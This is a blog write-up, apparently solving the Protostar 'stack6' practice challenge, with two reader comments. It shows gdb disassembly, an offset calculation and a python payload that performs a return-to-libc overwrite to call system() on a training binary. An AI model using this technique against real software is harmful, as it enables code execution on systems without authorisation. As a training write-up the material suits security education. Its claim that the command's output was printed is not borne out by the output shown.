Protostar Exploit Challenges Stack 6 Solution


This challenge introduces the return to libc. As far as the bug itself, it remains the same as previous stack challenges. The only difference is that the return address can’t be in the range of 0xbf000000 – IE the stack.


Fortunately, this restriction isn’t hard to bypass. You can return into any function of your choosing in the standard libary. When the check happens, it sees that it isn’t on the stack and then you use the second return value to return to the stack anyway.


First step is to find the distance between our buffer and the return address. I will use the same tactics I demonstrated in previous stack challenges.

(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x080484fa <main+0>: push ebp
0x080484fb <main+1>: mov ebp,esp
0x080484fd <main+3>: and esp,0xfffffff0
0x08048500 <main+6>: call 0x8048484 <getpath>
0x08048505 <main+11>: mov esp,ebp
0x08048507 <main+13>: pop ebp
0x08048508 <main+14>: ret
End of assembler dump.
(gdb) break *main+6
Breakpoint 1 at 0x8048500: file stack6/stack6.c, line 27.
(gdb) run
Starting program: /opt/protostar/bin/stack6

Breakpoint 1, main (argc=1, argv=0xbffff744) at stack6/stack6.c:27
27 stack6/stack6.c: No such file or directory.
in stack6/stack6.c
(gdb) stepi
getpath () at stack6/stack6.c:7
7 in stack6/stack6.c
(gdb) x/x $esp
0xbffff68c: 0x08048505
(gdb) disassemble getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>: push ebp
0x08048485 <getpath+1>: mov ebp,esp
0x08048487 <getpath+3>: sub esp,0x68
0x0804848a <getpath+6>: mov eax,0x80485d0
0x0804848f <getpath+11>: mov DWORD PTR [esp],eax
0x08048492 <getpath+14>: call 0x80483c0 <printf@plt>
0x08048497 <getpath+19>: mov eax,ds:0x8049720
0x0804849c <getpath+24>: mov DWORD PTR [esp],eax
0x0804849f <getpath+27>: call 0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>: lea eax,[ebp-0x4c]
0x080484a7 <getpath+35>: mov DWORD PTR [esp],eax
0x080484aa <getpath+38>: call 0x8048380 <gets@plt>
0x080484af <getpath+43>: mov eax,DWORD PTR [ebp+0x4]
0x080484b2 <getpath+46>: mov DWORD PTR [ebp-0xc],eax
0x080484b5 <getpath+49>: mov eax,DWORD PTR [ebp-0xc]
0x080484b8 <getpath+52>: and eax,0xbf000000
0x080484bd <getpath+57>: cmp eax,0xbf000000
0x080484c2 <getpath+62>: jne 0x80484e4 <getpath+96>
0x080484c4 <getpath+64>: mov eax,0x80485e4
0x080484c9 <getpath+69>: mov edx,DWORD PTR [ebp-0xc]
0x080484cc <getpath+72>: mov DWORD PTR [esp+0x4],edx
0x080484d0 <getpath+76>: mov DWORD PTR [esp],eax
0x080484d3 <getpath+79>: call 0x80483c0 <printf@plt>
0x080484d8 <getpath+84>: mov DWORD PTR [esp],0x1
0x080484df <getpath+91>: call 0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>: mov eax,0x80485f0
0x080484e9 <getpath+101>: lea edx,[ebp-0x4c]
0x080484ec <getpath+104>: mov DWORD PTR [esp+0x4],edx
0x080484f0 <getpath+108>: mov DWORD PTR [esp],eax
0x080484f3 <getpath+111>: call 0x80483c0 <printf@plt>
0x080484f8 <getpath+116>: leave
0x080484f9 <getpath+117>: ret
End of assembler dump.
(gdb) break *getpath+38
Breakpoint 2 at 0x80484aa: file stack6/stack6.c, line 13.
(gdb) c
input path please:
Breakpoint 2, 0x080484aa in getpath () at stack6/stack6.c:13
13 in stack6/stack6.c
(gdb) i r $eax
eax 0xbffff63c -1073744324

If you follow the commands you’ll note the return address for getpath is 0xbffff68c and our buffer is at 0xbffff63c. The difference between the two addresses is 80 bytes.


Recall, this is what a call stack looks like. What we’re going to do is make a system call with a string of our choosing. I placed a string with the value “echo NONSENSE” in an environment variable and located it on the stack at address 0xbffffe6c. So to recap our argument below has the address of system, followed by some four byte garbage, and finally the address of the string argument to system.

python -c ‘print “A”*80 + “\xb0\xff\xec\xb7” + “\x90\xf6\xff\xbf” + “\x6c\xfe\xff\xbf”‘

run < ~/input_file
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/stack6 < ~/input_file

Breakpoint 1, main (argc=1, argv=0xbffff724) at stack6/stack6.c:27
27 in stack6/stack6.c
(gdb) c

Program received signal SIGSEGV, Segmentation fault.

You can see the value NONSENSE was printed. Our attack works.

2 thoughts on “Protostar Exploit Challenges Stack 6 Solution

  1. Reply


    Thanks for the explanation, how did you come up with \xb0\xff\xec\xb7?

    1. Reply Post author

      Honestly, it has been so long I’ve forgotten, but since it appears that’s the address I overwrote the return address with that should be something in libc. If that’s the case, I probably used objdump. Anyone else is free to comment if that’s off the mark, but when I did these I used objdump anytime I had to find a specific address in a binary. Sorry I don’t have a more specific answer hahaha

Leave a Reply